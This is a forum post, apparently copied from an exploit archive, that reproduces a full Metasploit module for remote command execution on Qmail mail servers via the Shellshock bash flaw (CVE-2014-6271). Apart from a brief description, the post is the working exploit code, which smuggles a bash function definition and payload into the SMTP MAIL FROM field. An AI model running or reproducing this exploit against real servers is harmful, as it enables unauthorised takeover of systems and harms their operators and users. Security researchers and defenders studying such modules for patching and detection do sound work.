Jump to content
Fi8sVrs

Qmail SMTP Bash Environment Variable Injection (Shellshock) Exploit

Recommended Posts

  • Active Members

Author: metasploit | Category: remote exploits  |  Platform: unix       

Date add: 30-09-2017  |  Risk:    [Security Risk Critical]  |  0day-ID: 0day-ID-28706   |  CVE: CVE-2014-6271 

 

This Metasploit module exploits a shellshock vulnerability on Qmail, a public domain MTA written in C that runs on Unix systems. Due to the lack of validation on the MAIL FROM field, it is possible to execute shell code on a system with a vulnerable BASH (Shellshock). This flaw works on the latest Qmail versions (qmail-1.03 and netqmail-1.06). However, in order to execute code, /bin/sh has to be linked to bash (usually default configuration) and a valid recipient must be set on the RCPT TO field (usually admin@exampledomain.com). The exploit does not work on the "qmailrocks" community version as it ensures the MAILFROM field is well-formed.

 

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Smtp

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
      'Description'    => %q{
        This module exploits a shellshock vulnerability on Qmail, a public
        domain MTA written in C that runs on Unix systems.
        Due to the lack of validation on the MAIL FROM field, it is possible to
        execute shell code on a system with a vulnerable BASH (Shellshock).
        This flaw works on the latest Qmail versions (qmail-1.03 and
        netqmail-1.06).
        However, in order to execute code, /bin/sh has to be linked to bash
        (usually default configuration) and a valid recipient must be set on the
        RCPT TO field (usually admin@exampledomain.com).
        The exploit does not work on the "qmailrocks" community version
        as it ensures the MAILFROM field is well-formed.
      },
      'Author'         =>
        [
          'Mario Ledo (Metasploit module)',
          'Gabriel Follon (Metasploit module)',
          'Kyle George (Vulnerability discovery)'
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'References'     =>
        [
          ['CVE', '2014-6271'],
          ['CWE', '94'],
          ['OSVDB', '112004'],
          ['EDB', '34765'],
          ['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
          ['URL', 'https://lists.gt.net/qmail/users/138578']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x3e",
          'Space'       => 888,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet perl ruby python'
              # telnet ruby python and perl works only if installed on target
            }
        },
      'Targets'        => [ [ 'Automatic', { }] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 24 2014'
    ))

    deregister_options('MAILFROM')
  end

  def smtp_send(data = nil)
    begin
      result = ''
      code = 0
      sock.put("#{data}")
      result = sock.get_once
      result.chomp! if (result)
      code = result[0..2].to_i if result
      return result, code
    rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
      return result, 0
    rescue ::Exception => e
      print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
      return nil, 0
    end
  end

  def exploit
    to = datastore['MAILTO']
    connect
    result = smtp_send("HELO localhost\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    print_status('Sending the payload...')
    result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    print_status("Sending RCPT TO #{to}")
    result = smtp_send("rcpt to:<#{to}>\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    result = smtp_send("data\r\n")
    if result[1] < 200 || result[1] > 354
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    disconnect
  end
end

#  0day.today [2017-09-30]  #

Source: http://0day.today/exploit/28706

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...